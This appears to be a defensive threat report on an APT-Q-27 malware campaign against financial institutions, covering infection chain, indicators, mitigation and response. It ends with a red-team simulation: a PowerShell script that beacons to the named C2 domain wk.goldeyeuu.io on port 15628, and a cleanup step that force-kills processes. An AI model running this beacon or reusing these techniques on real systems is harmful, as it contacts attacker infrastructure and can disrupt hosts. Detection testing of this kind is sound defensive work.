Analysis of Suspected Malware Linked to APT-Q-27 Targeting Financial Institutions

Summary

The campaign features a multi-stage infection chain that begins with a phishing link disguised as an image download, which actually delivers a .pif dropper. The initial payload is a heavily obfuscated .NET executable signed with a legitimate certificate that was later revoked—helping it slip past reputation-based controls early on. After execution, it stages components inside a directory designed to resemble a Windows Update cache, then transitions to memory-only execution to reduce on-disk evidence. The final outcome is a modular backdoor that prioritizes stealth and evasion, maintaining access through service-based persistence while attempting to avoid common signature detections.

Investigation

CyStack analysts traced the initial delivery URL to infrastructure hosted on storage.googleapis.com and recovered staged artifacts—updat.exe, crashreport.dll, and updat.log—from a hidden cache-like folder. The dropper establishes basic persistence via a Run registry value and subsequently registers a Windows service named Windows Eventn to retain long-term execution. The backdoor implements anti-analysis checks, attempts privilege elevation, and modifies UAC-related settings to reduce user prompts. Command-and-control traffic was observed over port 15628, and investigators extracted detection-ready indicators including file names, registry paths, service identifiers, and distinctive user-agent strings.

Mitigation

Apply strict download controls to block .pif files and enforce content-type validation so “image” links can’t silently deliver executables. Strengthen code-signing enforcement by validating revocation status and certificate timestamps during execution. Monitor for hidden “Windows Update-like” cache directories and alert on unexpected Run key additions or suspicious service creation events. Lock down UAC policy settings and regularly audit changes to relevant registry policy keys.

Response

If activity is detected, isolate the endpoint immediately and collect forensic artifacts (memory image, registry hives, and filesystem evidence) before remediation. Terminate and remove the malicious Windows Eventn service and sweep the environment for the recovered indicators—especially hidden staging files, potential mutex usage, and any DLL sideloading traces. Reset potentially exposed credentials, review privileged account activity for abuse, and update detections across EDR/SIEM with the extracted IOCs.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An attacker who has gained initial foothold on the Windows host wishes to establish a covert C2 tunnel to the APT‑Q‑27 infrastructure. Using a custom PowerShell back‑door, the operator resolves the hard‑coded domain wk.goldeyeuu.io and opens a TCP connection on port 15628. The traffic is allowed outbound by the firewall, and because the connection uses a non‑standard port, it stands out in the firewall logs. The attacker then streams encoded commands over this channel (T1059) to execute further payloads.

  Step‑by‑step:

  1. Resolve the C2 domain to verify DNS works.
  2. Open a raw TCP socket to the resolved IP on port 15628.
  3. Send a simple “ping” payload to confirm connectivity (simulating a beacon).

• Regression Test Script:

  # -----------------------------------------------------------------------------------------------------------------
  # Simulate C2 Communication to wk.goldeyeuu.io on port 15628
  # -----------------------------------------------------------------------------------------------------------------
  # Resolve the malicious domain (expected to return an IP controlled by the Red Team)
  $c2Domain = "wk.goldeyeuu.io"
  try {
      $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) |
               Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } |
               Select-Object -First 1
  } catch {
      Write-Error "DNS resolution failed for $c2Domain"
      exit 1
  }
  
  # Establish a TCP connection on the non‑standard port 15628
  $c2Port = 15628
  $client = New-Object System.Net.Sockets.TcpClient
  try {
      $client.Connect($c2IP.IPAddressToString, $c2Port)
      Write-Host "Connected to $c2Domain ($($c2IP.IPAddressToString)):`$c2Port"
  } catch {
      Write-Error "Failed to connect to $c2Domain on port $c2Port"
      exit 1
  }
  
  # Send a simple beacon payload (ASCII “PING”) and close the connection
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("PING")
  $stream.Write($payload, 0, $payload.Length)
  $stream.Flush()
  Write-Host "Beacon payload sent."
  
  # Clean‑up
  $stream.Close()
  $client.Close()
  # -----------------------------------------------------------------------------------------------------------------

• Cleanup Commands:

  # Ensure any lingering TCP connections are closed (defensive measure for the test environment)
  Get-NetTCPConnection -RemotePort 15628 -State Established |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }